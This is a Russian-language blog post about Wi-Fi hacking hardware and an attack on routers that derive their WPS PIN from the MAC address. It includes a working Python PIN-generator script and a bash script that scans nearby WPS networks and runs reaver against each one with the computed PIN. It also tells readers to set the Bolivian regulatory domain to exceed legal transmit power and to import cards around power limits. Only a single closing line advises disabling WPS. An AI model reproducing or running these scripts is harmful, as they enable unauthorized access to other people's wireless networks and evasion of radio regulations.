Wi-Foo

Wi-Foo

Как мы знаем, эпоха халявного вайфая понемногу подходит к концу (или конец всё же отменили ?), да и телегу лучше готовить заранее. 
Вот я и решил обновить свой Wi-Fi арсенал и поделиться с вами новостями в сфере безопасности Wi-Fi сетей.
name='more'>

Железо

Аналоговый сниффер в довайфайную эпоху

На всё ввозимое в страну радиооборудование действуют жесткие нормы, и купить официально в России wi-fi карту мощнее 100 мВт не получиться . Поэтому большую популярность в нашей стране получили USB Wi-Fi карты тайваньской компании Alfa Networks  по ряду причин:
  • они свободно продаются на ebay и их легко ввести в страну в обход ограничений;
  • USB карту можно подключить к виртуальной машине с Kali linux напрямую, обходя ограничения на работу с Wi-Fi в Windows (со встроенной картой такое не пройдёт);
  • USB карта имеет гнездо для подключения внешней антенны;
  • Мощность корейского вайфая может быть в 10 раз выше разрешенной в нашей стране;
  • существуют "взломанные" драйвера под эти карты, позволяющие переводить карту в режим монитора (monitor mode), который нужен для перехвата/инжектирования вайфай пакетов;
  • корейские карточки в несколько раз дешевле именитых аналогов .
Все это привело к тому, что бренд Альфа стал нарицательным в мире wi-fi хакинга. Кстати использовать альфу можно и в мирных целях: в туалете там, где плохо ловит домашний вайфай, в гостинице, чтобы поймать вайфай через несколько этажей, в аэропорту и так далее. В комплекте с Альфой почти всегда идёт клевый крэдл с клипсой.
Alfa AWUS036NHV с направленной антенной 7dBi APA-M04

Со времен первой карты AWUS036H прошло уже несколько лет. Модельный ряд альф значительно вырос, однако к новым картам нужно обязательно докупать огромный бубен, если вы хотите работать с ними в monitor mode. Поэтому фаворитом в деле вайфай хакинга даже сегодня остаётся Alfa AWUS036H (только 802.11 b/g и только 2.4Ггц :( ).
В центре антенна 9dBi ARS-N19 с магнитным основанием, позволяющим крепить её на крышу машины... или к холодильнику. 
Таким образом качество приёма и количество видимых сетей определяется тремя вещами: картой (чипсетом), антенной и драйверами.

Программное обеспечение

Для меня оптимальным вариантом работы с картой является VMware образ Kali linux, который можно скачать с официального сайта. VMware позволяет подмонтировать USB карту к загруженной виртуальной машине и работать с ней без ограничений, накладываемых сетевым стэком Windows.
Для увеличения мощности карты стоит сразу переехать в Боливию!
iw reg set BO

Как мы знаем 2 года назад была найдена серьёзная дыра в технологии WPS, обеспечивающей быстрое подключение к Wi-Fi сети для блондинок с помощью пин-кода, указанного на наклейке роутера. Из-за уязвимости алгоритма подобрать нужный пин-код можно было за 10-15 часов с помощью брутфорса. 
Часть производителей отреагировала на эту уязвимость и ввела задержку между неудачными попытками, сводящую на нет все усилия хакера. Обойти эту задержку иногда можно было с помощью рандомизации MAC адреса атакующего, но процесс взлома сети все равно затягивался на сутки. 
Затем оказалось, что многие производители используют одинаковые пинкоды в своих маршрутизаторах либо очень похожие. И вот не так давно стало известно, что многие популярные модели роутеров (ZyXEL Keenetik, TRENDnet, D-Link DIR-620, HG532e, ASUS RT-G32 и др.) вычисляют пин код динамически, используя в качестве секрета... MAC адрес маршрутизатора!
Вот соответствующий python-код. Если погуглить WPSPIN.SH, то можно найти и аналогичный bash скрипт.
#!/usr/bin/env python
import sys, re
def pin_checksum(pin):
    # WPS PIN Checksum - for more information see hostapd/wpa_supplicant source (wps_pin_checksum) or
    # http://download.microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-b18336565f5b/WCN-Netspec.doc
    accum = 0
    t = pin
    while (t):
        accum += 3 * (t % 10)
        t /= 10
        accum += t % 10
        t /= 10
    return '%07i%i' % (pin, (10 - accum % 10) % 10)
def gen_hexdec(mac_str):
    return (int(mac_str[6:12], 16) % 10000000)
def main():
    if len(sys.argv) != 2:
        sys.exit('Usage: wpspin.py [BSSID]
eg. wpspin.py 00:11:22:33:44:55
')
    mac_str = re.sub(r'[^a-fA-F0-9]', '', sys.argv[1])
    if len(mac_str) != 12:
        sys.exit('check MAC format!
')
    print pin_checksum(gen_hexdec(mac_str))
if __name__ == "__main__":
    main()
Логика работы алгоритма достаточно простая - берется "хвостик" от MAC адреса маршрутизатора и переводится из шестнадцатиричной системы в десятиричную (с учетом PIN Checksum). Это и есть пин-код!

Как показывает практика, уязвимые маршрутизаторы есть в каждом доме. Вопрос лишь в мощности вайфай карты. 

Для удобства поиска доступных сетей я набросал вот такой скрипт.
#!/bin/bash
timeout -sHUP 5m wash -o wash.log -i wlan1mon
cat wash.log | tail -n+3 - | awk '{print substr($0,0,18)}' > macs.log
cat macs.log | xargs -n 1 python /root/wpspin.py > pins.log
cat "#!/bin/bash" > reaver.sh
chmod +x reaver.sh
paste -d" " macs.log pins.log | awk '{print "timeout -sHUP 20s reaver -i wlan1mon -b " $1 " -p " $2 " >>results.log"}' >>reaver.sh
./reaver.sh
Вначале он запускает на 5 минут поиск сетей WPS с помощью утилиты wash. Вывод wash парсится, и MAC адреса скармливаются python скрипту. Потом формируется и запускается фаил reaver.sh, который с таймаутом 20 секунд пробует каждую пару MAC+Pin и записывает результаты работы в фаил results.log. Таймауты по желанию можно увеличить.

Перед запуском скрипта необходимо поднять интерфейс wlan1mon (у вас может быть другое название) с помощью команды "airmon-zc start wlan1". 

Выводы

Отключите WPS. 

Что еще почитать?




Alt text

Большой брат следит за вами, но мы знаем, как остановить его

Подпишитесь на наш канал!

Артем Агеев

root@itsec.pro:~#